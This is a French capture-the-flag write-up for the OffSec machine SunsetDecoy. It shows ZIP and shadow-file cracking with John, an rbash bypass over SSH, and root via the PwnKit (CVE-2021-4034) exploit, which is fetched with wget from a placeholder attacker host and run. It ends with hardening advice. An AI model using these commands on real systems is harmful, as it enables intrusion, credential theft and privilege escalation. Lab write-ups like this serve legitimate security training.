Machine CTF SunsetDecoy — OffSec Proving Grounds. Chaîne d'attaque : bruteforce d'archive ZIP, extraction de credentials depuis des fichiers système, contournement de shell restreint, escalade via CVE-2021-4034.
Énumération
sudo nmap -sC -sV -p- $IP
Ports ouverts
- Port 22 — SSH
- Port 80 — HTTP
Sur le port 80 : un fichier Save.zip est directement accessible. Il contient un dossier /etc/ avec 6 fichiers protégés par mot de passe.
Bruteforce du ZIP
zip2john Save.zip > hash.txt john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Mot de passe : manual
On accède aux fichiers critiques Linux : passwd, shadow, sudoers…
unshadow passwd shadow > combined.txt john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt
Credentials valides — Utilisateur : 296640a3b825115a47b68fc44501c828 · Mot de passe : server
Accès initial — Contournement rbash
Connexion SSH réussie mais shell restreint (rbash). Contournement :
ssh user@$IP -t "bash --noprofile"
Escalade de privilèges — CVE-2021-4034 (PwnKit)
ls -l /usr/bin/pkexec # -rwsr-xr-x 1 root root ... /usr/bin/pkexec
pkexec (polkit) est vulnérable à PwnKit : mauvaise gestion des paramètres au lancement permettant à un utilisateur non privilégié d'obtenir un shell root.
wget http://<attaquant>:8000/PwnKit chmod +x PwnKit && ./PwnKit # → Shell root
Recommandations
- Ne jamais exposer de fichiers sensibles via un serveur web
- Appliquer une politique de mots de passe robuste
- Restreindre les accès SSH aux utilisateurs nécessaires
- Désactiver les SUID inutiles
- Maintenir polkit à jour (patch CVE-2021-4034 disponible)